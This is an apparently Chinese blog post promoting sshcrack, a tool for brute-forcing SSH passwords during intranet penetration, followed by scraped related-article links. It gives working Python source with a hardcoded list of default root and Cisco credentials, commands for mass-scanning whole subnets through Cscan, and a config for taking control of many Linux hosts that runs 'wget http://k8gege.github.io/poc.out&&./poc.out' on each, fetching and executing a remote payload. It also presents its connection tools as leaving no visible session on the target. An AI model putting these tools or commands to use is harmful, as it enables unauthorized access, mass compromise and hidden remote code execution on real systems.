[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)
0x000 前言
sshcrack是一个命令行下的SSH密码爆破工具,适用于内渗中SSH密码检测
当然也可用于外网SSH密码爆破,支持Windows/Linux,其它系统未测。Tip1
0x001 目录
1.sshcrack用法
2.Cscan批量扫描
3.连接SSH执行命令
4.sshcrack源码
5.SSH批量上控
6.工具下载
0x002 用法
指定SSH服务器密码检测
弱口令检测 (-crack 用户密码可随便写,因为帐密列表已写死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK 单密码验证 (-test )
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test
192.168.1.106 22 root toor LoginOK
0x003 批量SSH服务器密码检测
以下功能可使用Ladon SshScan模块,更简单易用。
0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录
Cscan.ini内容如下
1.爆破弱口令(当前无密码或已获取多个帐密)
[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack
2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)
[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 root k8gege -test
3.Cscan扫描单个C段/B段/A段机器
cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段扫描
新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)
以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口
不指定端口意味着ip.txt里需要填写上对应SSH端口
0x004 连接SSH执行命令
1.sshshell交互式连接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)
2.sshcmd命令行非交互式
优点都是执行完命令立即注销会话(即目标机看不到网络连接),内网渗透专用
3.渗透专版SSH连接工具GUI版
优点都是执行完命令立即注销会话(即目标机看不到网络连接),渗透专用,内网可代理出来或外网SSH连接时用
当然也可用于日常VPS管理用,GUI版带文件管理,支持上传下载单个文件或整个目录
0x005 sshcrack源码
建议密码写死,方便配合Cscan批量扫描,要不然每扫一台,sshcrack就读取一下密码列表,可能会影响批量效率。
以下是例子,大家可自行修改,根据自身项目添加对应密码字典,脚本还需完善,如跑出root密码后停止检测root用户或者不再爆破。
#sshcrack 1.0
#author: k8gege
#https://www.cnblogs.com/k8gege
#https://github.com/k8gege
import paramiko
import sys
import logging ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
logging.raiseExceptions=False
def checkSSH(host,port,user,pwd):
try:
ssh.connect(host,port,user,pwd)
print host+' '+port+' '+user+' '+pwd+' LoginOK'
except:
pass
host=sys.argv[1]
port=sys.argv[2]
user=sys.argv[3]
pwd=sys.argv[4]
type=sys.argv[5]
if type=='-test':
checkSSH(host,port,user,pwd)
elif type=='-crack':
checkSSH(host,port,'root','123456')
checkSSH(host,port,'root','cisco')
checkSSH(host,port,'root','Cisco')
checkSSH(host,port,'admin','123456')
checkSSH(host,port,'cisco','123456')
checkSSH(host,port,'cisco','cisco')
checkSSH(host,port,'Cisco','Cisco')
checkSSH(host,port,'cisco','cisco123')
checkSSH(host,port,'admin','admin')
checkSSH(host,port,'root','Admin')
checkSSH(host,port,'root','toor')
checkSSH(host,port,'root','Admin123')
checkSSH(host,port,'root','system')
checkSSH(host,port,'root','system123')
checkSSH(host,port,'root','System')
checkSSH(host,port,'root','System123')
checkSSH(host,port,'root','Admin123!@#')
checkSSH(host,port,'root','root123!@#')
checkSSH(host,port,'root','root2019')
checkSSH(host,port,'root','root2018')
checkSSH(host,port,'root','root2017')
checkSSH(host,port,'root','root2016')
checkSSH(host,port,'root','root2015')
checkSSH(host,port,'root','root2014')
checkSSH(host,port,'root','root2013')
checkSSH(host,port,'root','root2012')
else:
checkSSH(host,port,user,pwd)
0x006 Linux批量上控
通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控
详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)
ip.txt内容 格式: IP 端口 用户 帐密
192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test
Cscan.ini内容
[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下载
https://github.com/k8gege/sshshell
https://github.com/k8gege/K8tools
https://github.com/k8gege/K8CScan
Tip1: Python写的程序一定跨平台?
Python虽是跨平台语言,但不见得Python写的程序一定支持所有系统
支不支持主要是看写代码的人,比如有些依赖包仅Linux下或Win下可用
你直接调用人家的包,未做任何修改,你认为一定是跨平台吗???
就算是只用原生包写的功能,也不能保证完全兼容
有些功能针对于不同系统需做不同的处理
Tip2: SSH连接工具详细说明
[原创]内网渗透专用SSH连接工具sshcmd/sshshell/ssh密码破解以及Kali开启SSH
https://www.cnblogs.com/k8gege/p/10991264.html
[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)的更多相关文章
- [原创]内网渗透专用SSH连接工具sshcmd/sshshell/ssh密码破解以及Kali开启SSH
目录 1.Kali开启SSH 2.SSH连接工具优缺点 3.渗透专用SSH连接工具 4.ssh执行cmd源码 5.批量SSH密码破解 6.相关工具下载 0x001 SSH配置 1.打开文件 etc/s ...
- SQL Server密码爆破工具SQLdict
SQL Server密码爆破工具SQLdict SQL Server是Windows系统常用的数据库服务器.它广泛采用用户名和密码方式,进行身份认证.Kali Linux提供一款专用的数据库密码爆破工 ...
- 基于端口的弱口令检测工具--iscan
亲手打造了一款弱口令检测工具,用Python编写,主要可以用于内网渗透.弱口令检测等方面,目前集成了常见端口服务,包含 系统弱口令:ftp.ssh.telnet.ipc$ 数据库弱口令:mssql.m ...
- [原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY
工具: K8_FuckOneShell 20161224编译: VS2012 C# (.NET Framework v4.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http ...
- [原创]内网渗透JSP webSehll连接工具
工具: JspShellExec编译: VS2012 C# (.NET Framework v2.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.b ...
- 云主机不能外网ssh连接,只能内网ssh连接的问题处理
某台服务器外网无法ssh,内网可以ssh连接,ping值延时比较大 安装iftop查看流量 yum install -y iftop iftop界面含义如下 第一行:带宽显示 中间部分:外部连接列表, ...
- 内网映射到公网工具 --- ngrok
ngrok可以将内网映射到公网上,这样就可以在公网上访问你的网络服务. 该工具通常在进行app开发和微信开发时比较有用,这样就可避免在公网服务器上单独部署项目,通过映射,直接连接本地服务即可进行开发. ...
- 内网ssh穿透
公司服务器没有公网IP,只有内网IP,利用自己的阿里云服务器(有公网ip)做ssh内网穿透,使得外网可访问.方法如下: 环境: 公司服务器和阿里云服务器均为 Ubuntu 操作系统, 需要修改阿里云服 ...
- 内网Https 自签Https证书 配合Tomcat 实现内网Https详细图文
内网项目启用Https配置手册 软件需求: OpenSSL https://www.openssl.org/ 已经安装了Java Jdk环境 制作前的需求: 已经配置了Jdk环境变量 安装好OpenS ...
随机推荐
- Android Studio快速添加Gson Gsonformat
一.Android Studio快速添加Gson 具体操作: 1.File->Project Structure: 2.app->Dependencies->" ...
- Ctags快速入门
Ctags快速入门 在vim下阅读代码,特别是阅读不熟悉的代码时,ctags是一个提高效率的强大的工具. 1. ctags是什么? ctags可以将代码中的函数.方法.类.变量和其他的标识符进行索引, ...
- react-native修改android包名
安卓已包名作为应用的唯一id,相对iOS来说改起来就不是那么方便,但为了能正式发布自己的应用,还是得改过来. 假设包名为com.exease.etd.objective,以下地方需要修改. 首先是两个 ...
- haproxysocket 参数记录
haproxy的一些指标 pxname 组名 svname 服务器名 qcur 当前队列 qmax 最大队列 scur当前会话用户 smax最大会话用户 slim会话限制 stot会话 ...
- Use trained sklearn model with pyspark
Use trained sklearn model with pyspark from pyspark import SparkContext import numpy as np from sk ...
- X-Forward-For ip
用 Firefox 的Moify Headers 插件 服务器重新配置X-Forward-For 为正确的值. 如对典型的nginx + php fastcgi 环境( nginx 与 php fas ...
- linux shell date 时间运算以及时间差计算方法
最近一段时间,在处理Shell 脚本时候,遇到时间的处理问题. 时间的加减,以及时间差的计算. 获取当前时间戳 date +%s . 时间加减 这里处理方法,是将基础的时间转变为时间戳,然后,需要增加 ...
- 杂项-QRCode:ZXing
ylbtech-杂项-QRCode:ZXing 1.返回顶部 1. ZXing是一个开放源码的,用Java实现的多种格式的1D/2D条码图像处理库,它包含了联系到其他语言的端口.Zxing可以实现使用 ...
- Hibernate 的HQL和sql有什么区别
转自:https://blog.csdn.net/haozhugogo/article/details/54575802sql 面向数据库表查询 hql 面向对象查询 hql : from 后面跟的 ...
- Bind 远程连接DNS服务器时出现 rndc: connection to remote host closed
使用命令:rndc -s 192.168.1.2 status 连接远程的bind 搭建的DNS服务器时出现下面的错误: rndc: connection to remote host close ...